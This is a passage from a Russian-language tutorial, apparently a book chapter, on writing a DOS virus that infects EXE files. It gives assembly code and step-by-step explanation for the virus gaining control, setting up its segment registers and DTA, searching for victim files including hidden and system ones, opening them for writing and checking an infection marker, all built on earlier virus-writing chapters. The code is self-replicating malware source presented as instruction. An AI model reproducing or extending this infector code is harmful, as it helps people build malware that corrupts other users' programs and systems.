Ищем подходящий файл

Вирус получает управление

В отличие от COM - вируса,наша запускающая программа после запуска не будет заменять в памяти свои первые три байта командой перехода на функцию DOS завершения программы. По этой причине можно не бояться, что в заражаемый файл попадет испорченный вирусный код (см. п. 1.17 предыдущей части). Отсюда следует, что директива " org 110h" нам не потребуется. Значит,можно сразу переходить "к делу":

vir: mov ax,cs ;AX = CS. .. db 2dh ;SUB AX,00h sub_ds dw 0 ; mov ds,ax ; mov ss,ax ; mov ah,1ah ;Переключим DTA lea dx,new_dta ;на соответству- ;ющий массив в int 21h ;области данных ;вируса. ..

При компиляции относительные адреса всех ячеек памяти определяются относительно DS, который указывает на начало PSP. Но в зараженной программе при передаче управления на код вируса регистр CS будет указывать на параграф, с которого начинается этот код, а не на начало PSP, а регистр DS вообще окажется настроенным на начальный сегмент программы! Единственный способ получить доступ к данным вируса заключается в установке DS = CS.А с учетом размера PSP в 10h параграфов значение DS следует уменьшить как раз на эту величину. При заражении того или иного файла поле " sub_ds " для него будет заполняться значением 10h. Поскольку запускающая программа имеет COM-формат, для нее CS = DS = SS = ES, и все они указывают на начало PSP. Поэтому значение DS корректировать не нужно, и в поле "sub_ds" запускающей программы помещается ноль. Дальше вирус переключает DTA на массив "new_dta", расположенный в области данных вируса. Поскольку начальный сегмент программы станет известным при ее запуске,можно будет без особого труда восстановить адрес исходной DTA.

Теперь наш вирус может заняться поиском файла-жертвы. Как мы договорились, вирус будет заражать EXE-файлы, значит, такой файл и нужно найти. Но поскольку фрагмент, который производит поиск файлов с тем или иным расширением уже был создан, остается только воспользоваться им, внеся некоторые изменения:

mov ax,old_ip ;Скопируем исхо- mov my_ip,ax ;дные параметры mov ax,old_cs ;заголовка зара- mov my_cs,ax ;женной програм- mov ax,to_16h ;мы в ячейки па- mov my_16h,ax ;мяти " my_XX ", mov ax,old_ss ;так как ячейки mov my_ss,ax ;" old_XX ", в mov ax,old_sp ;которых хранят- mov my_sp,ax ;ся параметры, ;будут испорчены ;при заражении ;нового файла find_first:mov ah,4eh ;Поиск первого mov cx,00100110b ;файла : lea dx,maska ;archive, system int 21h ;hidden. .. jnc r_3 jmp restore_dta find_next: mov ah,3eh ;Закроем непод- mov bx,descrypt ;ходящий файл int 21h jnc r_2 jmp restore_dta r_2: mov ah,4fh ;Поиск следующе- int 21h ;го. .. jnc r_3 jmp restore_dta r_3: mov cx,12 ;Очистим об- lea si,fn ;ласть " fn " kill_name: mov byte ptr [si],0 inc si loop kill_name xor si,si ;И перепишем copy_name: mov al,byte ptr new_dta[si + 01eh] cmp al,0 ;туда имя най- je open_file ;денного файла mov byte ptr fn[si],al inc si jmp copy_name open_file: mov ax,3d02h ;Откроем файл lea dx,fn ;для чтения и int 21h ;записи. .. jnc found_size jmp r_2 found_size:mov descrypt,ax ;Определим раз- mov cx,word ptr [new_dta + 01ch] mov dx,word ptr [new_dta + 01ah] sub dx,1 ;мер файла и вы- sbb cx,0 ;чтем из него ;единицу . .. call setpointer ;Установим ука- ;затель на пос- ;ледний символ read_last: mov cx,1 ;Прочитаем lea dx,last ;последний call read ;символ. .. jnc compar jmp close_file compar: cmp last,'7' ;Это "семерка" ? jne mmm ;Нет to_next: jmp find_next ;Да ! Файл уже ;заражен, и надо ;искать другой

Вы, вероятно, уже поняли,что каждая новая программа оставляется нами из ранее разработанных блоков, как из конструктора.Это сильно упрощает работу и сокращает время на составление программ. Было бы странно не воспользоваться готовыми фрагментами и заново преодолевать все трудности! Вместе с тем, использованный фрагмент пришлось несколько модифицировать,чтобы он смог правильно работать в новой программе. Первое внесенное изменение состоит в дублировании исходных значений заголовка программы, из которой стартовал вирус. В комментариях рассказано, зачем это потребовалось. Следующее изменение вызвано тем, что EXE - файл может быть длиннее 64 Кбайт.Поэтому для установки указателя на последний байт файла недостаточно просто вычесть единицу из его размера. Например,пусть длина файла равна 10000h байт. В этом случае из DTA будут считаны такие числа :CX = 0001h и DX = 0000h (см. выше). Теперь для обращения к последнему элементу файла из пары CX : DX следует вычесть "1". Если просто вычесть единицу из DX, то мы получим следующее :CX = 0001h, DX = 0FFFFh, то есть полностью абсурдное значение. Чтобы такого не происходило, нужно применить команду " вычитание с заемом ", которая будет отнимать от CX значение флага переноса CF - " ноль " или " один ". И последнее - вместо непосредственной установки указателя мы будем просто вызывать процедуру "setpointer ", текст которой несложен и рассматривается в конце главы.